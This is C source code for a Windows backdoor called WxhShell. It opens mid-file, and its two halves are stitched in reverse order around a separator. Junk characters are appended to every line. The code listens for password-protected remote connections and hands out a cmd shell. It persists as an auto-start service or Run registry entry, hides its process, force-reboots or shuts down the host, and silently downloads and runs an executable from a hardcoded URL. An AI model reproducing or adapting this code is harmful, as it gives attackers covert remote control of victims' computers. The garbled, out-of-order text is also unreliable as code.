    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t/g}cR^Q  
    if(Boot(SHUTDOWN)) (1^(V)@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |*$_eb  
    else { n6f|,D!?  
    closesocket(wsh); Y<v55m-  
    ExitThread(0); -,&Xp>u\  
    } i_"I"5pBF  
    break; xjN~Y D:  
    } Tx(R3B+u7  
  // 获取shell f7'%AuSQ(  
  case 's': { guvQISQlY  
    CmdShell(wsh); F`u~Jx8.*  
    closesocket(wsh); y(k2p  
    ExitThread(0); Kf.b <wP{  
    break; 6X7_QBC)  
  } (Wn'.|^%  
  // 退出 H=jnCGk  
  case 'x': { ]!N5jbA@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OBZj-`fqJ  
    CloseIt(wsh); X#yl8k_  
    break; @!$NUY8,A#  
    } rxARJ so  
  // 离开 2wd(0K}b  
  case 'q': { $c-3Q|C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i  *<,@*  
    closesocket(wsh); fVM%.`  
    WSACleanup(); CvN~  
    exit(1); XHr{\/4V  
    break; :$j~;)2  
        } O 2U/zF:X  
  } HD ~9EK~  
  } pK4)>q  
_OY;SJ(  
  // 提示信息 5IMH G%W7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZeO>Ag^  
} Dfea<5~^z  
  } `4CRpz  
<T wq{kt  
  return; s@$AYZm_  
} >BX_Bou  
1 wG1\9S  
// shell模块句柄 llzl-2` /  
int CmdShell(SOCKET sock) #lO;G k{  
{ ?P5D!b:(  
STARTUPINFO si; fHigLL0B  
ZeroMemory(&si,sizeof(si)); \&H%k   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0`W~2ai  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OjN]mp-q  
PROCESS_INFORMATION ProcessInfo; !4E:IM63  
char cmdline[]="cmd"; <7GK *I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .\VjS^o&Z&  
  return 0;  51j  
} bbJa,}R  
(; "ICk&  
// 自身启动模式 ",}VB8K  
int StartFromService(void) )nY/ RO  
{ /dfZ>k8  
typedef struct YblRwic  
{ Y%faf.$/9  
  DWORD ExitStatus; 3X:F9x>y  
  DWORD PebBaseAddress; =N=,;<6%A  
  DWORD AffinityMask; Z|W=.RdA;  
  DWORD BasePriority; z,9qAts?mh  
  ULONG UniqueProcessId; &[YG\8sxWa  
  ULONG InheritedFromUniqueProcessId; gvC2\k{  
}   PROCESS_BASIC_INFORMATION; -4Xr5j%o  
 lcr=^  
PROCNTQSIP NtQueryInformationProcess; )oj`K,#  
<n>< A+D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M(|gfsD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AKpux,@xB  
s+[=nau('w  
  HANDLE             hProcess; 0^m02\Li  
  PROCESS_BASIC_INFORMATION pbi; `9ieTt  
p})&Zl)V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3EyN"Lvp{o  
  if(NULL == hInst ) return 0; P ,i)A  
oVu>jO:.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4=9F1[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <ESAoY"RPN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4Mprc~ 7vr  
3 !,%;Vz=  
  if (!NtQueryInformationProcess) return 0; {\V)bizY;  
DirWe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t3M/ThIE  
  if(!hProcess) return 0; ,Xn%-OT  
ESO(~X+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IQM!dC  
Cxh9rUe.  
  CloseHandle(hProcess); V><P`  
+o/q@&v;Ax  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $d"6y  
if(hProcess==NULL) return 0; 6+It>mnR  
~DJ/sY2/  
HMODULE hMod; ;'h7 j*6  
char procName[255]; r=9*2X#  
unsigned long cbNeeded; )S%mKdOm $  
t`LH\]6@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xWDwg@ P  
?*T`a oB  
  CloseHandle(hProcess); +z4NxR   
EU+sTe>  
if(strstr(procName,"services")) return 1; // 以服务启动 v}!,4,]:&  
cq0jM;@d  
  return 0; // 注册表启动 ]8mBFr5E9  
} %:??QD*  
wy^>i$TC  
// 主模块 j'7FTVmJ  
int StartWxhshell(LPSTR lpCmdLine) 6wF ?FtT  
{ 8\yH 7H  
  SOCKET wsl; #*9*[Xbi  
BOOL val=TRUE; K9*K4'#R  
  int port=0; Kg.E~  
  struct sockaddr_in door; JK1b 68n  
I[&!\Me[+w  
  if(wscfg.ws_autoins) Install(); t*DM^. @  
HsO=%bb  
port=atoi(lpCmdLine); m:h]nm  
s8tI_h  
if(port<=0) port=wscfg.ws_port; sST6_b  
y,%w`  
  WSADATA data; v9<p@GY"\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d`:0kOF+  
04( h!@!g:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   # mzJ^V-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `Q{kiy  
  door.sin_family = AF_INET; 7mu%|!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {_ #   
  door.sin_port = htons(port); 74KFsir@  
)X@(>b{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wHAh6lm  
closesocket(wsl); 'n=FBu ^  
return 1; bDr'W   
} `xtN+y F  
c`iSe$eS  
  if(listen(wsl,2) == INVALID_SOCKET) { .D7\Hao  
closesocket(wsl); I($u L@$  
return 1; lFB Ka ,6  
} Qc3 !FW<26  
  Wxhshell(wsl); 0 xPML}|V  
  WSACleanup(); Db2G)63  
=^{^KHzIl3  
return 0; _z}d yp"I  
^lQej%  
} t$}+oCnkv  
I\[*vgjm3G  
// 以NT服务方式启动 onjTuZ^h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  UWu|w  
{ #a/lt^}C*  
DWORD   status = 0; ~:JKXa?  
  DWORD   specificError = 0xfffffff; A\=:h  AQ  
0AaN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1s*I   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ftK.jj1:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }$b/g  
  serviceStatus.dwWin32ExitCode     = 0; /WM : Bj   
  serviceStatus.dwServiceSpecificExitCode = 0; $H_4Y-xOi  
  serviceStatus.dwCheckPoint       = 0; >s1HQSe66  
  serviceStatus.dwWaitHint       = 0; h<6r+*T' p  
E[$['0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @ #V31im"N  
  if (hServiceStatusHandle==0) return; T *$uc,  
%D&FnTa  
status = GetLastError(); #Uudx~b  
  if (status!=NO_ERROR) oVLz7Y[JE  
{ 0a(*/u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {xOu*8J  
    serviceStatus.dwCheckPoint       = 0; B$7lL  
    serviceStatus.dwWaitHint       = 0; <1hwXo  
    serviceStatus.dwWin32ExitCode     = status; (+4=A k  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZI5UQH/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U_14CLs dG  
    return; atPf527\`  
  } u52@{@Ad  
bjR&bIA:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^goS? p/z  
  serviceStatus.dwCheckPoint       = 0; Y}4dW'  
  serviceStatus.dwWaitHint       = 0; Ron^PvvY&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IQH;`+  
} fA|'}(kH  
^P]: etld9  
// 处理NT服务事件,比如:启动、停止 D-[0^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tvk=NJ  
{ X-t4irZ)  
switch(fdwControl) #BM *40tch  
{ bf}r8$,  
case SERVICE_CONTROL_STOP: .%*.nq  
  serviceStatus.dwWin32ExitCode = 0; C@KYg/nYw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4E"qpy \(  
  serviceStatus.dwCheckPoint   = 0; t);5Cw _  
  serviceStatus.dwWaitHint     = 0; Cu!4ha.e`  
  { J H$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uz*C`T0:rj  
  } t[3Upe%  
  return; 8^M5u>=t;  
case SERVICE_CONTROL_PAUSE: ?p$WqVN}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dkCSqNFL)  
  break; 8_KXli}7=  
case SERVICE_CONTROL_CONTINUE: ."3 J;j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5|AZ/!rb  
  break; 1-q\C<Q)  
case SERVICE_CONTROL_INTERROGATE: Q9rE_} Z  
  break; U~7.aZHPx3  
}; $bD!./fl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [J:vSt  
} !WbQ`]uN/#  
F@?QVdY1q7  
// 标准应用程序主函数 + J_W}G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]ImS@!Ajjx  
{ F*Qw%  
J\2F%kBej?  
// 获取操作系统版本 TzPVO>s  
OsIsNt=GetOsVer(); N\H(AzMw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K<N0%c~  
D@\97t+  
  // 从命令行安装 o6{XT.z5qx  
  if(strpbrk(lpCmdLine,"iI")) Install(); c5Offnq'1  
{\ .2h  
  // 下载执行文件 hf%W grO.  
if(wscfg.ws_downexe) { ib& |271gG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q>||HtF$A  
  WinExec(wscfg.ws_filenam,SW_HIDE); )L_jR%2j  
} 1f~_# EIC  
6Q\n<&,{  
if(!OsIsNt) { F=# zy#@.  
// 如果时win9x,隐藏进程并且设置为注册表启动 QI!:+8  
HideProc(); #`?uV)(  
StartWxhshell(lpCmdLine); b>fDb J0  
} Xf#uK\f  
else n NAJ8z}Nt  
  if(StartFromService()) }LE.kd&  
  // 以服务方式启动 7O"T `>  
  StartServiceCtrlDispatcher(DispatchTable); qo'pU/@  
else v^KJU +  
  // 普通方式启动 @Wdnc/o]  
  StartWxhshell(lpCmdLine); |/rBR!kPq  
LV9\  
return 0; tMupX-V  
} =niU6Q}  
c L84}1QD  
]Y, 7 X  
~~h9yvW7&  
=========================================== &0Nd9%>  
/@on=~  
>R.~'A/$F  
;/ p)vR  
{%~Sbcq4F  
&4DvZq=  
" Hjlx,:'M  
na%9E8;:&v  
#include <stdio.h> R[o KhU  
#include <string.h> ' Bdvqq  
#include <windows.h> zYH6+!VBH#  
#include <winsock2.h> `SOaQ|H  
#include <winsvc.h> p61"a,Xc  
#include <urlmon.h> 5%+T~ E*  
I /RvU,  
#pragma comment (lib, "Ws2_32.lib") b/<4\f  
#pragma comment (lib, "urlmon.lib") en#W<"_"  
& yw-y4 =  
#define MAX_USER   100 // 最大客户端连接数 =axi0q?}  
#define BUF_SOCK   200 // sock buffer #r0A<+t{T  
#define KEY_BUFF   255 // 输入 buffer _pk=IHGsB  
,![C8il,  
#define REBOOT     0   // 重启 JB* *z00;  
#define SHUTDOWN   1   // 关机 BXm{x6\  
Be?mIwc_g  
#define DEF_PORT   5000 // 监听端口 ,P5HR+h  
yUBic~S  
#define REG_LEN     16   // 注册表键长度 6`%}s3Xq  
#define SVC_LEN     80   // NT服务名长度 +}z T][9w  
~l.]3wyk  
// 从dll定义API QULrE+@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4yjAi@ /2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _3ZZ-=J:=*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'L=g(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >YPfk=0f0  
j^:\a\-1  
// wxhshell配置信息 O+(Z`,^  
struct WSCFG { JQI`9$asuC  
  int ws_port;         // 监听端口 {9Y@?  
  char ws_passstr[REG_LEN]; // 口令 /l@7MxE  
  int ws_autoins;       // 安装标记, 1=yes 0=no -cJ(iz9!  
  char ws_regname[REG_LEN]; // 注册表键名 #F[6$. Gr  
  char ws_svcname[REG_LEN]; // 服务名 ZH/|L?Q1U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IzkZ^;(N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z<xSU?J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r+\it&cW+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g5/8u2d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R],,-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C\E Z8  
33-=Z9|r  
}; >}_c<`:  
:B)w0tVw  
// default Wxhshell configuration dqPJ 2j $\  
struct WSCFG wscfg={DEF_PORT, i_f"?X;D  
    "xuhuanlingzhe", >>K) 4HYID  
    1, u V=rLDY  
    "Wxhshell", 8={(Vf6  
    "Wxhshell", <K|_M)/9  
            "WxhShell Service", | u36-  
    "Wrsky Windows CmdShell Service", mrk Q20D  
    "Please Input Your Password: ", (r:WG!I,  
  1, 6lsU/`.  
  "http://www.wrsky.com/wxhshell.exe", SlsMMD  
  "Wxhshell.exe" k&@JF@_TI  
    }; l&5| =  
q0SvZw]f1  
// 消息定义模块 #P18vK5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =yfr{5}R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7zpwP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &# `d8}3D  
char *msg_ws_ext="\n\rExit."; <S TwylL  
char *msg_ws_end="\n\rQuit."; NS<lmWx+  
char *msg_ws_boot="\n\rReboot..."; V/J[~mN9  
char *msg_ws_poff="\n\rShutdown..."; \fh.D/@  
char *msg_ws_down="\n\rSave to "; ]';!r20  
Xs*~ [k'  
char *msg_ws_err="\n\rErr!"; Mx0c # d.  
char *msg_ws_ok="\n\rOK!"; 7ugmZO}lL  
@^#y23R U  
char ExeFile[MAX_PATH]; u.$.RkNMQ  
int nUser = 0; B% BO  
HANDLE handles[MAX_USER]; kRZ(  
int OsIsNt; !X*L<)=nh  
rDm>Rm=  
SERVICE_STATUS       serviceStatus; cb|`)"<HN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K)@]vw/\  
H;Z{R@kf  
// 函数声明 6R dfF$f  
int Install(void); ()3+! };  
int Uninstall(void); 2 R1S>X  
int DownloadFile(char *sURL, SOCKET wsh); E=HS'XKu[K  
int Boot(int flag); }MuXN<DDb  
void HideProc(void); v#=WdaNz  
int GetOsVer(void); Mp"] =  
int Wxhshell(SOCKET wsl); Ypha{d  
void TalkWithClient(void *cs); A]Q4fD1q  
int CmdShell(SOCKET sock); nr-VzF7zu  
int StartFromService(void); !>gc!8Y'o  
int StartWxhshell(LPSTR lpCmdLine); !W n'Ae9  
OjyS ?YY)b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5#q ^lL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |0A n| 18  
|LiFX5!\  
// 数据结构和表定义 s^js}9]p  
SERVICE_TABLE_ENTRY DispatchTable[] = |oPqX %?  
{ 7q$9\RR5  
{wscfg.ws_svcname, NTServiceMain}, Ay"x<JB{U2  
{NULL, NULL} ;MNEe% TJ  
}; A7~)h}~   
OlMCF.W#3  
// 自我安装 Qt]nlui~  
int Install(void) 1QjrL@$>15  
{ *E+) mB"~  
  char svExeFile[MAX_PATH];  YVD%GJ  
  HKEY key; UU$ +DL  
  strcpy(svExeFile,ExeFile); plb'EP>e  
G@ed2T  
// 如果是win9x系统,修改注册表设为自启动 +~8/7V22  
if(!OsIsNt) { YWd:Ok0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D;d 'ss;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f5mk\^  
  RegCloseKey(key); gd#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _mA[^G=gY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K31Fp;K  
  RegCloseKey(key); -V_e=Y<J/  
  return 0; >L[,.}(9  
    } \#G`$JD  
  } L$lo5  
} zVkHDT[  
else { C Hyb{:<  
LEHlfB#z`@  
// 如果是NT以上系统,安装为系统服务 |I85]'K9a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q35%t61Lc  
if (schSCManager!=0) 0v+5&Jk  
{ 5wP(/?sRy  
  SC_HANDLE schService = CreateService kX5v!pm[  
  ( wz>j>e6k`  
  schSCManager, -}PD0Pzg;=  
  wscfg.ws_svcname, [ivJ&'vB  
  wscfg.ws_svcdisp, JFR,QUT  
  SERVICE_ALL_ACCESS, h, +2Mc<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mY dU`j  
  SERVICE_AUTO_START, G4=%<+  
  SERVICE_ERROR_NORMAL, _aa3Qw x  
  svExeFile, !i#;P9K  
  NULL, V@e0VV3yx%  
  NULL, O_(J',++  
  NULL, 1B,RRHXn6  
  NULL, Kd7OnU  
  NULL SYa!IL-B  
  ); 2R:['QT  
  if (schService!=0) _EjS(.e/=  
  { "AUY+ LN  
  CloseServiceHandle(schService); _pjpPSV6J  
  CloseServiceHandle(schSCManager); s:wLEj+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cg$7`/U  
  strcat(svExeFile,wscfg.ws_svcname); @iao"&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]5rEwPB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DV{Qbe#In  
  RegCloseKey(key); EC?!%iO`  
  return 0; sL+/Eeb` c  
    } /!jn$4fd:  
  } S WYiI  
  CloseServiceHandle(schSCManager); nVs0$?}  
} 5x4(5c5^  
} j~Rh_\>Q  
@i6D&e=  
return 1; .CwMxuW  
} vV8 y_  
kmo3<'j{  
// 自我卸载 -L1{0{Z  
int Uninstall(void) ;Q? Qwda  
{ N ?0V0B  
  HKEY key; rs 7R5 F  
[$-y8`~(  
if(!OsIsNt) { zx0{cNPK5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rf^1%Zo:  
  RegDeleteValue(key,wscfg.ws_regname); 1 9;\:tN  
  RegCloseKey(key); b .j\=c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *gVRMSrx4  
  RegDeleteValue(key,wscfg.ws_regname); u_zp?Nc  
  RegCloseKey(key); IjJ3CJ<  
  return 0; <@@.~Qm'  
  } 83)2c a  
} a2o+ tR;H  
} 2Hy$SSH  
else { z`f1|Ok  
txTDuS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9dSKlB5J  
if (schSCManager!=0) +}X@{DB  
{ 2l8jw:=H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M)Ogb '@#  
  if (schService!=0) 0&c12W|B<L  
  { YadyRUE  
  if(DeleteService(schService)!=0) { @ ;rU#  
  CloseServiceHandle(schService); /v=MGX@r  
  CloseServiceHandle(schSCManager); A!goR-J]  
  return 0; `')3}  
  } ? 0nbvV5v7  
  CloseServiceHandle(schService); (Cqhk:F  
  } )[G5qTO  
  CloseServiceHandle(schSCManager);  A5Y z|  
} S :9zz  
} 6W#M[0  
M2vYOg`t:c  
return 1; ;`s/|v  
} ze!7qeW  
;]vE"Mx$  
// 从指定url下载文件 5BTQJa  
int DownloadFile(char *sURL, SOCKET wsh) 4 K)P Yk  
{ CXvL`d"  
  HRESULT hr; ~ hYG%  
char seps[]= "/"; 0j_`7<,:  
char *token; a|lcOU  
char *file; N[ E t  
char myURL[MAX_PATH]; 80 i<Ij8J  
char myFILE[MAX_PATH]; ndW? ?wiM  
z9'ME   
strcpy(myURL,sURL); |;Jcf3e(  
  token=strtok(myURL,seps); krI<'m;a  
  while(token!=NULL)  ~/ iE  
  { *,@dt+H!y  
    file=token; ] 6M- s  
  token=strtok(NULL,seps); kCLz@9>FQ  
  } fZT=q^26  
^Shz[=fd  
GetCurrentDirectory(MAX_PATH,myFILE); @ 5|F:J  
strcat(myFILE, "\\"); ` *h-j/M  
strcat(myFILE, file); BWfsk/lej  
  send(wsh,myFILE,strlen(myFILE),0); D]Bvjh   
send(wsh,"...",3,0); /< h~d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |HhUU1!  
  if(hr==S_OK) (A/V(.!  
return 0; ;la(Q~#  
else G W|~sE +  
return 1; $>]7NTP  
bC)d iC  
} :hCp@{  
OAR#* ~q  
// 系统电源模块 8L6!CP_!  
int Boot(int flag) %R-"5?eTtu  
{ W32bBzhL  
  HANDLE hToken; SWPr5h  
  TOKEN_PRIVILEGES tkp; $iupzVrro  
Jc(tV(z  
  if(OsIsNt) { u ;f~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z &/b p1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SA)}---"  
    tkp.PrivilegeCount = 1; !imm17XQ\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lLS`Ln)"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *";,HG?|Iz  
if(flag==REBOOT) { b P4R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i|)<#Ywl  
  return 0; 1^b-J0  
} _Cj u C`7  
else { mp+ %@n.;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4}gqtw:  
  return 0; q.g<gu]  
} W`C2zbC  
  } Qpe&_.&RE  
  else { t' o:aI  
if(flag==REBOOT) { E5/-?(N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M(0:>G  
  return 0; pg [F{T<  
} xQ-]Iw5  
else { -c~nmPEG6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {: T'2+OH>  
  return 0; gH(,>}{^K  
} K8ecSs}}J  
} b'3w.%^  
'Oyz/P(p  
return 1; E#Smi507p  
} 0 x4p!5  
$*\[I{Zau}  
// win9x进程隐藏模块 jyb/aov  
void HideProc(void) R%"wf   
{ r**u=q %p  
y.=ur,Nd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _qR1M):yJ  
  if ( hKernel != NULL ) j7?53e  
  { hg/G7Ur"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KtG|m'\D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uw8O"}U8  
    FreeLibrary(hKernel); 5<0&y3  
  } <=W;z=$!Bb  
T&H[JQ/h  
return; WSz#g2a  
} xrFFmQ<_W  
)}0(7z Yu  
// 获取操作系统版本 cz~Fz;)2{N  
int GetOsVer(void) J'G 6Z7  
{ GKTrf\"c  
  OSVERSIONINFO winfo; b*+Od8r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /U4F\pZl  
  GetVersionEx(&winfo); CE=&ZHt9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l&R~ I6^E  
  return 1; 5Q;Fwtm  
  else e23}'qb  
  return 0; $-Lk,}s.*  
} zWb>y  
n ,!PyJ  
// 客户端句柄模块 @T0F }(k  
int Wxhshell(SOCKET wsl) 8 2nQ]  
{ AcqsXBKd  
  SOCKET wsh; O(2)A>}  
  struct sockaddr_in client; -NHA{?6r  
  DWORD myID; swss#?.se  
s5F,*<  
  while(nUser<MAX_USER) s2FJ^4  
{ z@R:~  
  int nSize=sizeof(client); 8J-$+ ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :G=N|3  
  if(wsh==INVALID_SOCKET) return 1; 0,a\vs%@X  
2MS1<VKZ@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9tDo5 29  
if(handles[nUser]==0) ]vo&NE  
  closesocket(wsh); OSY$qL2  
else 'H+H4(  
  nUser++; _WO*N9Iz  
  } F'^6 ra9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;7Cb!v1  
[xe(FFl+  
  return 0; g <S&sYF5  
} L  #c*)  
1S/KT4  
// 关闭 socket #EQwl6  
void CloseIt(SOCKET wsh) u/-u l  
{ b+bgGLo  
closesocket(wsh); 3WZdP[o!  
nUser--; ZV=O oL t,  
ExitThread(0); E%@,n9T~"  
} 7D PKKvQ  
,Dd )=  
// 客户端请求句柄 6c>cq\~E  
void TalkWithClient(void *cs) 96x$Xl;  
{ | #Z+s-  
"Qj;pqR  
  SOCKET wsh=(SOCKET)cs; r%QTUuRXC3  
  char pwd[SVC_LEN]; In<L?U?([D  
  char cmd[KEY_BUFF]; Eh/B[u7T[  
char chr[1]; 0%$E^`  
int i,j; {>$i)B  
US3rkkgDO  
  while (nUser < MAX_USER) { I-<U u 2  
TJjcX?:(  
if(wscfg.ws_passstr) { :)hS-*P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +0) s {?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ t4:(Jp 3  
  //ZeroMemory(pwd,KEY_BUFF); O75^(keW  
      i=0; @AET.qGC  
  while(i<SVC_LEN) { X!#rw= Q  
v0W w~4|],  
  // 设置超时 g$$i WC!S<  
  fd_set FdRead; fl%X>\i/7  
  struct timeval TimeOut; {6d)|';%  
  FD_ZERO(&FdRead); vcm66J.14  
  FD_SET(wsh,&FdRead); 8s^CE[TA  
  TimeOut.tv_sec=8; Awy-kou[C  
  TimeOut.tv_usec=0; qYjR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GF]V$5.ps  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G>"=Af(t?Y  
|&!04~s;E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0*G =~:  
  pwd=chr[0]; 6?GR+;/  
  if(chr[0]==0xd || chr[0]==0xa) { UolsF-U}'  
  pwd=0; u By[x 0  
  break; 2GB)K?1M  
  } /B eA-\B  
  i++; ?5@!r>i=<  
    } $d\]s]}`  
^I2+$  
  // 如果是非法用户,关闭 socket D2<(V,h9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #2AKO/  
} BOqu$f+  
oTS/z\C"<u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R<wPO-dX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Xdj:T<*  
oZVq }}R  
while(1) { a@+n  
fH{ _X  
  ZeroMemory(cmd,KEY_BUFF); NHI(}Ea|]  
9*`(*>S  
      // 自动支持客户端 telnet标准   V+04X"  
  j=0; m3Ma2jLWC  
  while(j<KEY_BUFF) { R1A|g =kF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b{X,0a{*  
  cmd[j]=chr[0]; 8nKZ   
  if(chr[0]==0xa || chr[0]==0xd) { z _A]mJ  
  cmd[j]=0; F`C$F!GE  
  break; -l)u`f^n|  
  } Q:rQ;/b0/  
  j++;  }\ ^J:@  
    } OH+kN /Fd  
Lt 8J^}kwl  
  // 下载文件 QY)hMo=|o8  
  if(strstr(cmd,"http://")) { R#8.]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nj~3FL  
  if(DownloadFile(cmd,wsh))  AW[_k%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qukym3F  
  else b"JJ3$D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S8_>Lw  
  } ()cqax4  
  else { j2dptM3t{  
